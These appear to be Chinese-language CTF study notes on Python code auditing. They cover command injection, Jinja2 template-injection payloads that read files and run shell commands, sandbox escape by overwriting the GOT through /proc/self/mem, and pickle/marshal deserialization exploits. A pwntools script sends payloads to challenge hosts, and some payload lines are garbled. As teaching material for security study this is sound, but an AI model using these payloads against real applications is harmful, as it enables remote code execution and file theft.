python代码审计
php包容性更大的语言,针对web,简单一些所以大家用这个
python出现后,更加的中性一些,有更多的库,以其为技术基础的东西也很多,比如flask模板等。
企业中java多,但是不适合初学者,调用栈特别多,反序列化,表达式执行。
对于没遇到过的题目,要会收集信息,百度不行还是用谷歌。
学会用英文搜索,而且新很多,谷歌的高级技巧(定向搜索,源码搜)
直接命令注入
对于可以直接执行cmd或者脚本命令的,cmd我们可以|并行管道执行
脚本的则可以闭合然后写入新的命令。
模板注入
对于服务器模板注入,我们需要先看是py2,3,然后根据下面可以使用的类搜索和执行的方法得到文件或者目录。
如果被过滤关键词,我们可以采用一些绕过方法
如果类被删除等我们通过fuzz看到开了什么,有源码的话就不需要了,一般用到的关键字意义如下
常见 payload
# 读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
# 写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
# 执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
否则的话需要我们一步一步测试
从基类开始,再看子类,测试出被ban的是什么。
如果我们的函数被删除了
我们可以重新加载一下
限制的话就可以再次删除reload
劫持got表
write修改got表 实际上是一个/proc/self/mem的内存操作方法 /proc/self/mem是内存镜像,能够通过它来读写到进程的所有内存,包括可执
行代码,如果我们能获取到Python一些函数的偏移,如system,我们就能通过 想做pwn题的劫持got表做我们任意想做的事情
Return to libc
(lambda r,w:r.seek(0x08de2b8) or w.seek(0x08de8c8) or w.write(r.read(8)) or().__class__.__bases__[0].__subclasses__()[40]('c'+'at
/home/ctf/5c72a1d444cf3121a5d25f2db4147ebb'))(().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem','r'),().__class__.__bases__[0].__subclasses__()[
40]('/proc/self/mem', 'w', 0))
第一个地址是system的偏移,第二个是fopen的偏移,我们可以通过objdump获取相关信息
格式化字符串问题
序列化问题
大概的意思就是我们输入的信息可以被当做命令执行,但是需要进行序列化,因为漏洞是发生在发序列化时。
例如pickle序列化漏洞,允许任意对象去定义一个__reduce__方法来申明怎么序列化这个对象,即有限执行这个方法。那么我们可以在传入的payload中定义这个方法,方法中附带上我们的字符串,就可以执行我们字符串的功能
#!/usr/bin/env python
#coding: utf-8
import cPickle
import os
class genpoc(object):
def __reduce__(self):
s = """echo moxiaoxi> poc.txt""" #要执行的命令
return os.system, (s,) #os.system("echo moxiaoxi >poc.txt")
e = genpoc() //获取python对象 里面包含reduce方法,方法里写上我们的命令
poc = cPickle.dumps(e) //将python对象序列化保存到本地的文件
print poc
# www.a.com/index.php?payload=xxxxxxxxxxxx
# 原理: 我们提交序列化的参数,那么服务器会进行解码
# 发现存在自定义解码方法reduce 执行reduce 执行我们的命令
这是第一个方法,只可以执行system命令,我们还可以执行任意命令
# !/usr/bin/env python
# -*- coding:utf-8 -*-
import marshal
import base64
import cPickle
import urllib
def foo():#这是我们传上去的命令,写在下面
import os
def fib(n): # 自己定义的函数
if n <= 1:
return n
return fib(n-1) + fib(n-2)
print 'fib(10) =', fib(10)
os.system('echo anycode >>poc.txt')
try:#尝试使用cPickle来序列号代码对象
cPickle.dumps(foo.func_code)
except Exception as e:
print e #TypeError: can't pickle code objects
code_serialized = base64.b64encode(marshal.dumps(foo.func_code))
print code_serialized
#为了保证code_serialized中的内容得到执行,我们需要如下代码
#(types.FunctionType(marshal.loads(base64.b64decode(code_serialized)), globals(), ''))()
payload = """ctypes
FunctionType # 类似于 import system
(cmarshal
loads
(cbase64
b64decode # 解码
(S'%s'
tRtRc__builtin__
globals
(tRS''
tR(tR.""" % base64.b64encode(marshal.dumps(foo.func_code)) # 编码的命令 我们的命令在foo中 自带func_code为获取其中代码
print "------------------------------------------------" #编码和发送
print payload
fp =open("poc.pickle","w")
fp.write(payload)
print "------------------------------------------------"
print urllib.quote(payload)
大师傅小例题
ping执行
例题2
模板注入,同沙箱逃逸中的知识点,{{}}中的会当做命令执行,我们需要采用自带的模块和基类调用我们需要的函数,输入参数等。
绕过的时候可以采用参数和cookie,拼接等形式。
注意是python2还是python3 不同形式的,python3中可能不存在一些库
python3
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %} //遍历基类 找到eval函数
{% if 'eval' in b.keys() %} //找到了
{{ b['eval']('__import__("os").popen("ls").read()') }} //导入cmd 执行popen里的命令 read读出数据
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
//然后cat 就可以
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("cat /tmp/ddddd/2222/flag ").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
//我们可以改里面的命令
//直接ls就能看到 否则的话find搜索
基本格式:find path expression
1.按照文件名查找
(1)find / -name httpd.conf #在根目录下查找文件httpd.conf,表示在整个硬盘查找
(2)find /etc -name httpd.conf #在/etc目录下文件httpd.conf
find 搜索目录 -type d
查找某个目录下的所有目录
find /tmp -type d
find 搜索目录 -cmin -时间(单位分钟)
查找etc下面1小时内被修改的文件,根目录下面太多了,指定一个目录
find /etc -cmin -60
find 搜索目录 -size 文件大小
这里的文件大小我们常见的有点不一样,这个大小是数据库,一个数据库等于512个字节,也就是0.5KB,所有1KB等于2个数据块
下面我们查找下大于100MB的文件,应该实际是102400KB*2,所有搜索命令为
find / -size +204800
-号是小于
直接写数字就是等于
python2
两对{}包裹的会被当做命令执行,我们可以来读取文件等
http://202.112.51.130:9009/?name={{9-3}}
会返回6 则可以执行
我们在使用的时候,上边的py3的代码也可以用。
{{ [].__class__.__base__.__subclasses__()[40]('/etc/passwd
').read() }}
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').w
rite("") }}
大师傅例题3
Return to libc
write修改got表
实际上是一个/proc/self/mem的内存操作方法,/proc/self/mem是内存镜像,能够通过它来读写到进程的所有内存,包括可执
行代码,如果我们能获取到Python一些函数的偏移,如system,我们就能通过想做pwn题的劫持got表做我们任意想做的事情
连接先 nc 202.112.130 8000
先使用read函数读取 文件,因为一些东西被过滤了,我们需要换一种写法
[(r.read())for(r)in(1.1.__class__.__base__.__subclasses__()[40]('/usr/bin/python'),)][0]
那么这个读取文件是可以使用的,那么我们可以获得
#coding:utf-8
from pwn import *
def test(payload):
conn = remote('202.112.51.130 ', 8010) //创建连接
# context.log_level='debug'
conn.recv()
conn.sendline(payload) //发送payload
# data = conn.recvuntil('/bin/rbash')
conn.recv()
data = conn.recv() //第一条获取的误用 第二次获取
print data
# conn.interactive()
return data
payload ="""[r.read()for(r)in(1.1.__class__.__base__.__subclasses__()[40]('/usr/bin/python'),)][0]"""
print test(payload)
如此我们得到了读取的文件,我们可以看到地址,然后就进行地址的查看(自己用工具)
找到之后,我们劫持got表如下
echo "[(r.seek(0x8bb2c8),w.seek(0x8bb8e0),w.write(r.read(8)),1.1.class.base.subclasses()40)for(r,w)in[(1.1.class.base.subclasses()40,1.1.class.base.subclasses()40)]]" | nc 54.223.98.61 14687
getflag
echo "[(r.seek(0x8bb2c8),w.seek(0x8bb8e0),w.write(r.read(8)),1.1.class.base.subclasses()40)for(r,w)in[(1.1.class.base.subclasses()40,1.1.class.base.subclasses()40)]]" | nc 54.223.98.61 14687
看来我们可以输入Payload参数,那边会输出我们的字符串, 测试一下发现时payload小写的
那么使用课上讲的任意代码执行的序列化脚本,foo()内容先system('ls'); 然后cat就可以
def foo():#you should write your code in this function
import os
#rerurn os.popen('ls').read()
return os.popen('cat flag').read()
# 这两次就得到了flag
# 先得到目录 发现flag 直接cat读取